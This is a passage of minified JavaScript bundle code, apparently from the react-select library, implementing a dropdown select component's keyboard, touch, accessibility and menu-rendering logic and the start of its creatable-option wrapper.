options"},openMenuOnFocus:!1,openMenuOnClick:!0,options:[],pageSize:5,placeholder:"Select...",screenReaderStatus:function(e){var t=e.count;return"".concat(t," result").concat(1!==t?"s":""," available")},styles:{},tabIndex:"0",tabSelectsValue:!0},ez=1,tz=function(e){Me(n,e);var t=XV(n);function n(e){var r;xe(this,n),(r=t.call(this,e)).state={ariaLiveSelection:"",ariaLiveContext:"",focusedOption:null,focusedValue:null,inputIsHidden:!1,isFocused:!1,menuOptions:{render:[],focusable:[]},selectValue:[]},r.blockOptionHover=!1,r.isComposing=!1,r.clearFocusValueOnUpdate=!1,r.commonProps=void 0,r.components=void 0,r.hasGroups=!1,r.initialTouchX=0,r.initialTouchY=0,r.inputIsHiddenAfterUpdate=void 0,r.instancePrefix="",r.openAfterFocus=!1,r.scrollToFocusedOptionOnUpdate=!1,r.userIsDragging=void 0,r.controlRef=null,r.getControlRef=function(e){r.controlRef=e},r.focusedOptionRef=null,r.getFocusedOptionRef=function(e){r.focusedOptionRef=e},r.menuListRef=null,r.getMenuListRef=function(e){r.menuListRef=e},r.inputRef=null,r.getInputRef=function(e){r.inputRef=e},r.cacheComponents=function(e){var t;r.components=(t={components:e},lV(lV({},sV),t.components))},r.focus=r.focusInput,r.blur=r.blurInput,r.onChange=function(e,t){var n=r.props,o=n.onChange,i=n.name;o(e,KV(KV({},t),{},{name:i}))},r.setValue=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"set-value",n=arguments.length>2?arguments[2]:void 0,o=r.props,i=o.closeMenuOnSelect,a=o.isMulti;r.onInputChange("",{action:"set-value"}),i&&(r.inputIsHiddenAfterUpdate=!a,r.onMenuClose()),r.clearFocusValueOnUpdate=!0,r.onChange(e,{action:t,option:n})},r.selectOption=function(e){var t=r.props,n=t.blurInputOnSelect,o=t.isMulti,i=r.state.selectValue;if(o)if(r.isOptionSelected(e,i)){var a=r.getOptionValue(e);r.setValue(i.filter((function(e){return r.getOptionValue(e)!==a})),"deselect-option",e),r.announceAriaLiveSelection({event:"deselect-option",context:{value:r.getOptionLabel(e)}})}else r.isOptionDisabled(e,i)?r.announceAriaLiveSelection({event:"select-option",context:{value:r.getOptionLabel(e),isDisabled:!0}}):(r.setValue([].concat(AB(i),[e]),"select-option",e),r.announceAriaLiveSelection({event:"select-option",context:{value:r.getOptionLabel(e)}}));else r.isOptionDisabled(e,i)?r.announceAriaLiveSelection({event:"select-option",context:{value:r.getOptionLabel(e),isDisabled:!0}}):(r.setValue(e,"select-option"),r.announceAriaLiveSelection({event:"select-option",context:{value:r.getOptionLabel(e)}}));n&&r.blurInput()},r.removeValue=function(e){var t=r.state.selectValue,n=r.getOptionValue(e),o=t.filter((function(e){return r.getOptionValue(e)!==n}));r.onChange(o.length?o:null,{action:"remove-value",removedValue:e}),r.announceAriaLiveSelection({event:"remove-value",context:{value:e?r.getOptionLabel(e):""}}),r.focusInput()},r.clearValue=function(){r.onChange(null,{action:"clear"})},r.popValue=function(){var e=r.state.selectValue,t=e[e.length-1],n=e.slice(0,e.length-1);r.announceAriaLiveSelection({event:"pop-value",context:{value:t?r.getOptionLabel(t):""}}),r.onChange(n.length?n:null,{action:"pop-value",removedValue:t})},r.getValue=function(){return r.state.selectValue},r.cx=function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return pH.apply(void 0,[r.props.classNamePrefix].concat(t))},r.getOptionLabel=function(e){return r.props.getOptionLabel(e)},r.getOptionValue=function(e){return r.props.getOptionValue(e)},r.getStyles=function(e,t){var n=ZV[e](t);n.boxSizing="border-box";var o=r.props.styles[e];return o?o(n,t):n},r.getElementId=function(e){return"".concat(r.instancePrefix,"-").concat(e)},r.getActiveDescendentId=function(){var e=r.props.menuIsOpen,t=r.state,n=t.menuOptions,o=t.focusedOption;if(o&&e){var i=n.focusable.indexOf(o),a=n.render[i];return a&&a.key}},r.announceAriaLiveSelection=function(e){var t=e.event,n=e.context;r.setState({ariaLiveSelection:WV(t,n)})},r.announceAriaLiveContext=function(e){var t=e.event,n=e.context;r.setState({ariaLiveContext:GV(t,KV(KV({},n),{},{label:r.props["aria-label"]}))})},r.onMenuMouseDown=function(e){0===e.button&&(e.stopPropagation(),e.preventDefault(),r.focusInput())},r.onMenuMouseMove=function(e){r.blockOptionHover=!1},r.onControlMouseDown=function(e){var t=r.props.openMenuOnClick;r.state.isFocused?r.props.menuIsOpen?"INPUT"!==e.target.tagName&&"TEXTAREA"!==e.target.tagName&&r.onMenuClose():t&&r.openMenu("first"):(t&&(r.openAfterFocus=!0),r.focusInput()),"INPUT"!==e.target.tagName&&"TEXTAREA"!==e.target.tagName&&e.preventDefault()},r.onDropdownIndicatorMouseDown=function(e){if(!(e&&"mousedown"===e.type&&0!==e.button||r.props.isDisabled)){var t=r.props,n=t.isMulti,o=t.menuIsOpen;r.focusInput(),o?(r.inputIsHiddenAfterUpdate=!n,r.onMenuClose()):r.openMenu("first"),e.preventDefault(),e.stopPropagation()}},r.onClearIndicatorMouseDown=function(e){e&&"mousedown"===e.type&&0!==e.button||(r.clearValue(),e.stopPropagation(),r.openAfterFocus=!1,"touchend"===e.type?r.focusInput():setTimeout((function(){return r.focusInput()})))},r.onScroll=function(e){"boolean"==typeof r.props.closeMenuOnScroll?e.target instanceof HTMLElement&&mH(e.target)&&r.props.onMenuClose():"function"==typeof r.props.closeMenuOnScroll&&r.props.closeMenuOnScroll(e)&&r.props.onMenuClose()},r.onCompositionStart=function(){r.isComposing=!0},r.onCompositionEnd=function(){r.isComposing=!1},r.onTouchStart=function(e){var t=e.touches,n=t&&t.item(0);n&&(r.initialTouchX=n.clientX,r.initialTouchY=n.clientY,r.userIsDragging=!1)},r.onTouchMove=function(e){var t=e.touches,n=t&&t.item(0);if(n){var o=Math.abs(n.clientX-r.initialTouchX),i=Math.abs(n.clientY-r.initialTouchY);r.userIsDragging=o>5||i>5}},r.onTouchEnd=function(e){r.userIsDragging||(r.controlRef&&!r.controlRef.contains(e.target)&&r.menuListRef&&!r.menuListRef.contains(e.target)&&r.blurInput(),r.initialTouchX=0,r.initialTouchY=0)},r.onControlTouchEnd=function(e){r.userIsDragging||r.onControlMouseDown(e)},r.onClearIndicatorTouchEnd=function(e){r.userIsDragging||r.onClearIndicatorMouseDown(e)},r.onDropdownIndicatorTouchEnd=function(e){r.userIsDragging||r.onDropdownIndicatorMouseDown(e)},r.handleInputChange=function(e){var t=e.currentTarget.value;r.inputIsHiddenAfterUpdate=!1,r.onInputChange(t,{action:"input-change"}),r.props.menuIsOpen||r.onMenuOpen()},r.onInputFocus=function(e){var t=r.props,n=t.isSearchable,o=t.isMulti;r.props.onFocus&&r.props.onFocus(e),r.inputIsHiddenAfterUpdate=!1,r.announceAriaLiveContext({event:"input",context:{isSearchable:n,isMulti:o}}),r.setState({isFocused:!0}),(r.openAfterFocus||r.props.openMenuOnFocus)&&r.openMenu("first"),r.openAfterFocus=!1},r.onInputBlur=function(e){r.menuListRef&&r.menuListRef.contains(document.activeElement)?r.inputRef.focus():(r.props.onBlur&&r.props.onBlur(e),r.onInputChange("",{action:"input-blur"}),r.onMenuClose(),r.setState({focusedValue:null,isFocused:!1}))},r.onOptionHover=function(e){r.blockOptionHover||r.state.focusedOption===e||r.setState({focusedOption:e})},r.shouldHideSelectedOptions=function(){var e=r.props,t=e.hideSelectedOptions,n=e.isMulti;return void 0===t?n:t},r.onKeyDown=function(e){var t=r.props,n=t.isMulti,o=t.backspaceRemovesValue,i=t.escapeClearsValue,a=t.inputValue,l=t.isClearable,s=t.isDisabled,u=t.menuIsOpen,c=t.onKeyDown,f=t.tabSelectsValue,d=t.openMenuOnFocus,p=r.state,h=p.focusedOption,m=p.focusedValue,g=p.selectValue;if(!(s||"function"==typeof c&&(c(e),e.defaultPrevented))){switch(r.blockOptionHover=!0,e.key){case"ArrowLeft":if(!n||a)return;r.focusValue("previous");break;case"ArrowRight":if(!n||a)return;r.focusValue("next");break;case"Delete":case"Backspace":if(a)return;if(m)r.removeValue(m);else{if(!o)return;n?r.popValue():l&&r.clearValue()}break;case"Tab":if(r.isComposing)return;if(e.shiftKey||!u||!f||!h||d&&r.isOptionSelected(h,g))return;r.selectOption(h);break;case"Enter":if(229===e.keyCode)break;if(u){if(!h)return;if(r.isComposing)return;r.selectOption(h);break}return;case"Escape":u?(r.inputIsHiddenAfterUpdate=!1,r.onInputChange("",{action:"menu-close"}),r.onMenuClose()):l&&i&&r.clearValue();break;case" ":if(a)return;if(!u){r.openMenu("first");break}if(!h)return;r.selectOption(h);break;case"ArrowUp":u?r.focusOption("up"):r.openMenu("last");break;case"ArrowDown":u?r.focusOption("down"):r.openMenu("first");break;case"PageUp":if(!u)return;r.focusOption("pageup");break;case"PageDown":if(!u)return;r.focusOption("pagedown");break;case"Home":if(!u)return;r.focusOption("first");break;case"End":if(!u)return;r.focusOption("last");break;default:return}e.preventDefault()}},r.buildMenuOptions=function(e,t){var n=e.inputValue,o=void 0===n?"":n,i=e.options,a=function(e,n){var i=r.isOptionDisabled(e,t),a=r.isOptionSelected(e,t),l=r.getOptionLabel(e),s=r.getOptionValue(e);if(!(r.shouldHideSelectedOptions()&&a||!r.filterOption({label:l,value:s,data:e},o))){var u=i?void 0:function(){return r.onOptionHover(e)},c=i?void 0:function(){return r.selectOption(e)},f="".concat(r.getElementId("option"),"-").concat(n);return{innerProps:{id:f,onClick:c,onMouseMove:u,onMouseOver:u,tabIndex:-1},data:e,isDisabled:i,isSelected:a,key:f,label:l,type:"option",value:s}}};return i.reduce((function(e,t,n){if(t.options){r.hasGroups||(r.hasGroups=!0);var o=t.options.map((function(t,r){var o=a(t,"".concat(n,"-").concat(r));return o&&e.focusable.push(t),o})).filter(Boolean);if(o.length){var i="".concat(r.getElementId("group"),"-").concat(n);e.render.push({type:"group",key:i,data:t,options:o})}}else{var l=a(t,"".concat(n));l&&(e.render.push(l),e.focusable.push(t))}return e}),{render:[],focusable:[]})};var o=e.value;r.cacheComponents=dV(r.cacheComponents,DH).bind(_e(r)),r.cacheComponents(e.components),r.instancePrefix="react-select-"+(r.props.instanceId||++ez);var i=hH(o);r.buildMenuOptions=dV(r.buildMenuOptions,(function(e,t){var n=uV(e,2),r=n[0],o=n[1],i=uV(t,2),a=i[0];return o===i[1]&&r.inputValue===a.inputValue&&r.options===a.options})).bind(_e(r));var a=e.menuIsOpen?r.buildMenuOptions(e,i):{render:[],focusable:[]};return r.state.menuOptions=a,r.state.selectValue=i,r}return Ae(n,[{key:"componentDidMount",value:function(){this.startListeningComposition(),this.startListeningToTouch(),this.props.closeMenuOnScroll&&document&&document.addEventListener&&document.addEventListener("scroll",this.onScroll,!0),this.props.autoFocus&&this.focusInput()}},{key:"UNSAFE_componentWillReceiveProps",value:function(e){var t=this.props,n=t.options,r=t.value,o=t.menuIsOpen,i=t.inputValue;if(this.cacheComponents(e.components),e.value!==r||e.options!==n||e.menuIsOpen!==o||e.inputValue!==i){var a=hH(e.value),l=e.menuIsOpen?this.buildMenuOptions(e,a):{render:[],focusable:[]},s=this.getNextFocusedValue(a),u=this.getNextFocusedOption(l.focusable);this.setState({menuOptions:l,selectValue:a,focusedOption:u,focusedValue:s})}null!=this.inputIsHiddenAfterUpdate&&(this.setState({inputIsHidden:this.inputIsHiddenAfterUpdate}),delete this.inputIsHiddenAfterUpdate)}},{key:"componentDidUpdate",value:function(e){var t,n,r,o,i,a=this.props,l=a.isDisabled,s=a.menuIsOpen,u=this.state.isFocused;(u&&!l&&e.isDisabled||u&&s&&!e.menuIsOpen)&&this.focusInput(),u&&l&&!e.isDisabled&&this.setState({isFocused:!1},this.onMenuClose),this.menuListRef&&this.focusedOptionRef&&this.scrollToFocusedOptionOnUpdate&&(t=this.menuListRef,n=this.focusedOptionRef,r=t.getBoundingClientRect(),o=n.getBoundingClientRect(),i=n.offsetHeight/3,o.bottom+i>r.bottom?vH(t,Math.min(n.offsetTop+n.clientHeight-t.offsetHeight+i,t.scrollHeight)):o.top-i<r.top&&vH(t,Math.max(n.offsetTop-i,0)),this.scrollToFocusedOptionOnUpdate=!1)}},{key:"componentWillUnmount",value:function(){this.stopListeningComposition(),this.stopListeningToTouch(),document.removeEventListener("scroll",this.onScroll,!0)}},{key:"onMenuOpen",value:function(){this.props.onMenuOpen()}},{key:"onMenuClose",value:function(){var e=this.props,t=e.isSearchable,n=e.isMulti;this.announceAriaLiveContext({event:"input",context:{isSearchable:t,isMulti:n}}),this.onInputChange("",{action:"menu-close"}),this.props.onMenuClose()}},{key:"onInputChange",value:function(e,t){this.props.onInputChange(e,t)}},{key:"focusInput",value:function(){this.inputRef&&this.inputRef.focus()}},{key:"blurInput",value:function(){this.inputRef&&this.inputRef.blur()}},{key:"openMenu",value:function(e){var t=this,n=this.state,r=n.selectValue,o=n.isFocused,i=this.buildMenuOptions(this.props,r),a=this.props,l=a.isMulti,s=a.tabSelectsValue,u="first"===e?0:i.focusable.length-1;if(!l){var c=i.focusable.indexOf(r[0]);c>-1&&(u=c)}this.scrollToFocusedOptionOnUpdate=!(o&&this.menuListRef),this.inputIsHiddenAfterUpdate=!1,this.setState({menuOptions:i,focusedValue:null,focusedOption:i.focusable[u]},(function(){t.onMenuOpen(),t.announceAriaLiveContext({event:"menu",context:{tabSelectsValue:s}})}))}},{key:"focusValue",value:function(e){var t=this.props,n=t.isMulti,r=t.isSearchable,o=this.state,i=o.selectValue,a=o.focusedValue;if(n){this.setState({focusedOption:null});var l=i.indexOf(a);a||(l=-1,this.announceAriaLiveContext({event:"value"}));var s=i.length-1,u=-1;if(i.length){switch(e){case"previous":u=0===l?0:-1===l?s:l-1;break;case"next":l>-1&&l<s&&(u=l+1)}-1===u&&this.announceAriaLiveContext({event:"input",context:{isSearchable:r,isMulti:n}}),this.setState({inputIsHidden:-1!==u,focusedValue:i[u]})}}}},{key:"focusOption",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"first",t=this.props,n=t.pageSize,r=t.tabSelectsValue,o=this.state,i=o.focusedOption,a=o.menuOptions,l=a.focusable;if(l.length){var s=0,u=l.indexOf(i);i||(u=-1,this.announceAriaLiveContext({event:"menu",context:{tabSelectsValue:r}})),"up"===e?s=u>0?u-1:l.length-1:"down"===e?s=(u+1)%l.length:"pageup"===e?(s=u-n)<0&&(s=0):"pagedown"===e?(s=u+n)>l.length-1&&(s=l.length-1):"last"===e&&(s=l.length-1),this.scrollToFocusedOptionOnUpdate=!0,this.setState({focusedOption:l[s],focusedValue:null}),this.announceAriaLiveContext({event:"menu",context:{isDisabled:qV(l[s]),tabSelectsValue:r}})}}},{key:"getTheme",value:function(){return this.props.theme?"function"==typeof this.props.theme?this.props.theme(YV):KV(KV({},YV),this.props.theme):YV}},{key:"getCommonProps",value:function(){var e=this.clearValue,t=this.cx,n=this.getStyles,r=this.getValue,o=this.setValue,i=this.selectOption,a=this.props,l=a.isMulti,s=a.isRtl,u=a.options;return{cx:t,clearValue:e,getStyles:n,getValue:r,hasValue:this.hasValue(),isMulti:l,isRtl:s,options:u,selectOption:i,setValue:o,selectProps:a,theme:this.getTheme()}}},{key:"getNextFocusedValue",value:function(e){if(this.clearFocusValueOnUpdate)return this.clearFocusValueOnUpdate=!1,null;var t=this.state,n=t.focusedValue,r=t.selectValue.indexOf(n);if(r>-1){if(e.indexOf(n)>-1)return n;if(r<e.length)return e[r]}return null}},{key:"getNextFocusedOption",value:function(e){var t=this.state.focusedOption;return t&&e.indexOf(t)>-1?t:e[0]}},{key:"hasValue",value:function(){return this.state.selectValue.length>0}},{key:"hasOptions",value:function(){return!!this.state.menuOptions.render.length}},{key:"countOptions",value:function(){return this.state.menuOptions.focusable.length}},{key:"isClearable",value:function(){var e=this.props,t=e.isClearable,n=e.isMulti;return void 0===t?n:t}},{key:"isOptionDisabled",value:function(e,t){return"function"==typeof this.props.isOptionDisabled&&this.props.isOptionDisabled(e,t)}},{key:"isOptionSelected",value:function(e,t){var n=this;if(t.indexOf(e)>-1)return!0;if("function"==typeof this.props.isOptionSelected)return this.props.isOptionSelected(e,t);var r=this.getOptionValue(e);return t.some((function(e){return n.getOptionValue(e)===r}))}},{key:"filterOption",value:function(e,t){return!this.props.filterOption||this.props.filterOption(e,t)}},{key:"formatOptionLabel",value:function(e,t){if("function"==typeof this.props.formatOptionLabel){var n=this.props.inputValue,r=this.state.selectValue;return this.props.formatOptionLabel(e,{context:t,inputValue:n,selectValue:r})}return this.getOptionLabel(e)}},{key:"formatGroupLabel",value:function(e){return this.props.formatGroupLabel(e)}},{key:"startListeningComposition",value:function(){document&&document.addEventListener&&(document.addEventListener("compositionstart",this.onCompositionStart,!1),document.addEventListener("compositionend",this.onCompositionEnd,!1))}},{key:"stopListeningComposition",value:function(){document&&document.removeEventListener&&(document.removeEventListener("compositionstart",this.onCompositionStart),document.removeEventListener("compositionend",this.onCompositionEnd))}},{key:"startListeningToTouch",value:function(){document&&document.addEventListener&&(document.addEventListener("touchstart",this.onTouchStart,!1),document.addEventListener("touchmove",this.onTouchMove,!1),document.addEventListener("touchend",this.onTouchEnd,!1))}},{key:"stopListeningToTouch",value:function(){document&&document.removeEventListener&&(document.removeEventListener("touchstart",this.onTouchStart),document.removeEventListener("touchmove",this.onTouchMove),document.removeEventListener("touchend",this.onTouchEnd))}},{key:"constructAriaLiveMessage",value:function(){var e=this.state,t=e.ariaLiveContext,n=e.selectValue,r=e.focusedValue,o=e.focusedOption,i=this.props,a=i.options,l=i.menuIsOpen,s=i.inputValue,u=i.screenReaderStatus,c=r?function(e){var t=e.focusedValue,n=e.getOptionLabel,r=e.selectValue;return"value ".concat(n(t)," focused, ").concat(r.indexOf(t)+1," of ").concat(r.length,".")}({focusedValue:r,getOptionLabel:this.getOptionLabel,selectValue:n}):"",f=o&&l?function(e){var t=e.focusedOption,n=e.getOptionLabel,r=e.options;return"option ".concat(n(t)," focused").concat(t.isDisabled?" disabled":"",", ").concat(r.indexOf(t)+1," of ").concat(r.length,".")}({focusedOption:o,getOptionLabel:this.getOptionLabel,options:a}):"",d=function(e){var t=e.inputValue,n=e.screenReaderMessage;return"".concat(n).concat(t?" for search term "+t:"",".")}({inputValue:s,screenReaderMessage:u({count:this.countOptions()})});return"".concat(c," ").concat(f," ").concat(d," ").concat(t)}},{key:"renderInput",value:function(){var e=this.props,t=e.isDisabled,n=e.isSearchable,r=e.inputId,o=e.inputValue,i=e.tabIndex,a=e.form,l=this.components.Input,u=this.state.inputIsHidden,c=r||this.getElementId("input"),f={"aria-autocomplete":"list","aria-label":this.props["aria-label"],"aria-labelledby":this.props["aria-labelledby"]};if(!n)return s.a.createElement(OV,b({id:c,innerRef:this.getInputRef,onBlur:this.onInputBlur,onChange:fH,onFocus:this.onInputFocus,readOnly:!0,disabled:t,tabIndex:i,form:a,value:""},f));var d=this.commonProps,p=d.cx,h=d.theme,m=d.selectProps;return s.a.createElement(l,b({autoCapitalize:"none",autoComplete:"off",autoCorrect:"off",cx:p,getStyles:this.getStyles,id:c,innerRef:this.getInputRef,isDisabled:t,isHidden:u,onBlur:this.onInputBlur,onChange:this.handleInputChange,onFocus:this.onInputFocus,selectProps:m,spellCheck:"false",tabIndex:i,form:a,theme:h,type:"text",value:o},f))}},{key:"renderPlaceholderOrValue",value:function(){var e=this,t=this.components,n=t.MultiValue,r=t.MultiValueContainer,o=t.MultiValueLabel,i=t.MultiValueRemove,a=t.SingleValue,l=t.Placeholder,u=this.commonProps,c=this.props,f=c.controlShouldRenderValue,d=c.isDisabled,p=c.isMulti,h=c.inputValue,m=c.placeholder,g=this.state,v=g.selectValue,y=g.focusedValue,w=g.isFocused;if(!this.hasValue()||!f)return h?null:s.a.createElement(l,b({},u,{key:"placeholder",isDisabled:d,isFocused:w}),m);if(p)return v.map((function(t,a){var l=t===y;return s.a.createElement(n,b({},u,{components:{Container:r,Label:o,Remove:i},isFocused:l,isDisabled:d,key:"".concat(e.getOptionValue(t)).concat(a),index:a,removeProps:{onClick:function(){return e.removeValue(t)},onTouchEnd:function(){return e.removeValue(t)},onMouseDown:function(e){e.preventDefault(),e.stopPropagation()}},data:t}),e.formatOptionLabel(t,"value"))}));if(h)return null;var E=v[0];return s.a.createElement(a,b({},u,{data:E,isDisabled:d}),this.formatOptionLabel(E,"value"))}},{key:"renderClearIndicator",value:function(){var e=this.components.ClearIndicator,t=this.commonProps,n=this.props,r=n.isDisabled,o=n.isLoading,i=this.state.isFocused;if(!this.isClearable()||!e||r||!this.hasValue()||o)return null;var a={onMouseDown:this.onClearIndicatorMouseDown,onTouchEnd:this.onClearIndicatorTouchEnd,"aria-hidden":"true"};return s.a.createElement(e,b({},t,{innerProps:a,isFocused:i}))}},{key:"renderLoadingIndicator",value:function(){var e=this.components.LoadingIndicator,t=this.commonProps,n=this.props,r=n.isDisabled,o=n.isLoading,i=this.state.isFocused;if(!e||!o)return null;return s.a.createElement(e,b({},t,{innerProps:{"aria-hidden":"true"},isDisabled:r,isFocused:i}))}},{key:"renderIndicatorSeparator",value:function(){var e=this.components,t=e.DropdownIndicator,n=e.IndicatorSeparator;if(!t||!n)return null;var r=this.commonProps,o=this.props.isDisabled,i=this.state.isFocused;return s.a.createElement(n,b({},r,{isDisabled:o,isFocused:i}))}},{key:"renderDropdownIndicator",value:function(){var e=this.components.DropdownIndicator;if(!e)return null;var t=this.commonProps,n=this.props.isDisabled,r=this.state.isFocused,o={onMouseDown:this.onDropdownIndicatorMouseDown,onTouchEnd:this.onDropdownIndicatorTouchEnd,"aria-hidden":"true"};return s.a.createElement(e,b({},t,{innerProps:o,isDisabled:n,isFocused:r}))}},{key:"renderMenu",value:function(){var e=this,t=this.components,n=t.Group,r=t.GroupHeading,o=t.Menu,i=t.MenuList,a=t.MenuPortal,l=t.LoadingMessage,u=t.NoOptionsMessage,c=t.Option,f=this.commonProps,d=this.state,p=d.focusedOption,h=d.menuOptions,m=this.props,g=m.captureMenuScroll,v=m.inputValue,y=m.isLoading,w=m.loadingMessage,E=m.minMenuHeight,S=m.maxMenuHeight,C=m.menuIsOpen,x=m.menuPlacement,O=m.menuPosition,A=m.menuPortalTarget,_=m.menuShouldBlockScroll,T=m.menuShouldScrollIntoView,k=m.noOptionsMessage,P=m.onMenuScrollToTop,M=m.onMenuScrollToBottom;if(!C)return null;var R,j=function(t){var n=p===t.data;return t.innerRef=n?e.getFocusedOptionRef:void 0,s.a.createElement(c,b({},f,t,{isFocused:n}),e.formatOptionLabel(t.data,"menu"))};if(this.hasOptions())R=h.render.map((function(t){if("group"===t.type){t.type;var o=sH(t,["type"]),i="".concat(t.key,"-heading");return s.a.createElement(n,b({},f,o,{Heading:r,headingProps:{id:i,data:t.data},label:e.formatGroupLabel(t.data)}),t.options.map((function(e){return j(e)})))}if("option"===t.type)return j(t)}));else if(y){var L=w({inputValue:v});if(null===L)return null;R=s.a.createElement(l,f,L)}else{var I=k({inputValue:v});if(null===I)return null;R=s.a.createElement(u,f,I)}var N={minMenuHeight:E,maxMenuHeight:S,menuPlacement:x,menuPosition:O,menuShouldScrollIntoView:T},D=s.a.createElement(_H,b({},f,N),(function(t){var n=t.ref,r=t.placerProps,a=r.placement,l=r.maxHeight;return s.a.createElement(o,b({},f,N,{innerRef:n,innerProps:{onMouseDown:e.onMenuMouseDown,onMouseMove:e.onMenuMouseMove},isLoading:y,placement:a}),s.a.createElement(UV,{isEnabled:g,onTopArrive:P,onBottomArrive:M},s.a.createElement(HV,{isEnabled:_},s.a.createElement(i,b({},f,{innerRef:e.getMenuListRef,isLoading:y,maxHeight:l}),R))))}));return A||"fixed"===O?s.a.createElement(a,b({},f,{appendTo:A,controlElement:this.controlRef,menuPlacement:x,menuPosition:O}),D):D}},{key:"renderFormField",value:function(){var e=this,t=this.props,n=t.delimiter,r=t.isDisabled,o=t.isMulti,i=t.name,a=this.state.selectValue;if(i&&!r){if(o){if(n){var l=a.map((function(t){return e.getOptionValue(t)})).join(n);return s.a.createElement("input",{name:i,type:"hidden",value:l})}var u=a.length>0?a.map((function(t,n){return s.a.createElement("input",{key:"i-".concat(n),name:i,type:"hidden",value:e.getOptionValue(t)})})):s.a.createElement("input",{name:i,type:"hidden"});return s.a.createElement("div",null,u)}var c=a[0]?this.getOptionValue(a[0]):"";return s.a.createElement("input",{name:i,type:"hidden",value:c})}}},{key:"renderLiveRegion",value:function(){return this.state.isFocused?s.a.createElement(xV,{"aria-live":"polite"},s.a.createElement("span",{id:"aria-selection-event"}," ",this.state.ariaLiveSelection),s.a.createElement("span",{id:"aria-context"}," ",this.constructAriaLiveMessage())):null}},{key:"render",value:function(){var e=this.components,t=e.Control,n=e.IndicatorsContainer,r=e.SelectContainer,o=e.ValueContainer,i=this.props,a=i.className,l=i.id,u=i.isDisabled,c=i.menuIsOpen,f=this.state.isFocused,d=this.commonProps=this.getCommonProps();return s.a.createElement(r,b({},d,{className:a,innerProps:{id:l,onKeyDown:this.onKeyDown},isDisabled:u,isFocused:f}),this.renderLiveRegion(),s.a.createElement(t,b({},d,{innerRef:this.getControlRef,innerProps:{onMouseDown:this.onControlMouseDown,onTouchEnd:this.onControlTouchEnd},isDisabled:u,isFocused:f,menuIsOpen:c}),s.a.createElement(o,b({},d,{isDisabled:u}),this.renderPlaceholderOrValue(),this.renderInput()),s.a.createElement(n,b({},d,{isDisabled:u}),this.renderClearIndicator(),this.renderLoadingIndicator(),this.renderIndicatorSeparator(),this.renderDropdownIndicator())),this.renderMenu(),this.renderFormField())}}]),n}(l.Component);tz.defaultProps=JV;n(1100);function nz(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ke(e);if(t){var o=ke(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Te(this,n)}}var rz={defaultInputValue:"",defaultMenuIsOpen:!1,defaultValue:null};function oz(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ke(e);if(t){var o=ke(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Te(this,n)}}function iz(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}var az,lz,sz,uz=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1?arguments[1]:void 0,n=String(e).toLowerCase(),r=String(t.value).toLowerCase(),o=String(t.label).toLowerCase();return r===n||o===n},cz=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?iz(Object(n),!0).forEach((function(t){Object(Se.a)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):iz(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({allowCreateWhileLoading:!1,createOptionPosition:"last"},{formatCreateLabel:function(e){return'Create "'.concat(e,'"')},isValidNewOption:function(e,t,n){return!(!e||t.some((function(t){return uz(e,t)}))||n.some((function(t){return uz(e,t)})))},getNewOptionData:function(e,t){return{label:t,value:e,__isNew__:!0}}}),fz=function(e){var t,n;return n=t=function(t){Me(r,t);var n=nz(r);function r(){var e;xe(this,r);for(var t=arguments.length,o=new Array(t),i=0;i<t;i++)o[i]=arguments[i];return(e=n.call.apply(n,[this].concat(o))).select=void 0,e.state={inputValue:void 0!==e.props.inputValue?e.props.inputValue:e.props.defaultInputValue,menuIsOpen:void 0!==e.props.menuIsOpen?e.props.menuIsOpen:e.props.defaultMenuIsOpen,value:void 0!==e.props.value?e.props.value:e.props.defaultValue},e.onChange=function(t,n){e.callProp("onChange",t,n),e.setState({value:t})},e.onInputChange=function(t,n){var r=e.callProp("onInputChange",t,n);e.setState({inputValue:void 0!==r?r:t})},e.onMenuOpen=function(){e.callProp("onMenuOpen"),e.setState({menuIsOpen:!0})},e.onMenuClose=function(){e.callProp("onMenuClose"),e.setState({menuIsOpen:!1})},e}return Ae(r,[{key:"focus",value:function(){this.select.focus()}},{key:"blur",value:function(){this.select.blur()}},{key:"getProp",value:function(e){return void 0!==this.props[e]?this.props[e]:this.state[e]}},{key:"callProp",value:function(e){if("function"==typeof this.props[e]){for(var t,n=arguments.length,r=new Array(n>1?n-1:0),o=1;o<n;o++)r[o-1]=arguments[o];return(t=this.props)[e].apply(t,r)}}},{key:"render",value:function(){var t=this,n=this.props,r=(n.defaultInputValue,n.defaultMenuIsOpen,n.defaultValue,sH(n,["defaultInputValue","defaultMenuIsOpen","defaultValue"]));return s.a.createElement(e,b({},r,{ref:function(e){t.select=e},inputValue:this.getProp("inputValue"),menuIsOpen:this.getProp("menuIsOpen"),onChange:this.onChange,onInputChange:this.onInputChange,onMenuClose:this.onMenuClose,onMenuOpen:this.onMenuOpen,value:this.getProp("value")}))}}]),r}(l.Component),t.defaultProps=rz,n}((az=tz,sz=lz=function(e){Me(n,e);var t=oz(n);function n(e){var r;xe(this,n),(r=t.call(this,e)).select=void 0,r.onChange=function(e,t){var n=r.props,o=n.getNewOptionData,i=n.inputValue,a=n.isMulti,l=n.onChange,s=n.onCreateOption,u=n.value,c=n.name;if("select-option"!==t.action)return l(e,t);var f=r.state.newOption,d=Array.isArray(e)?e:[e];if(d[d.length-1]!==f)l(e,t);else if(s)s(i);else{var 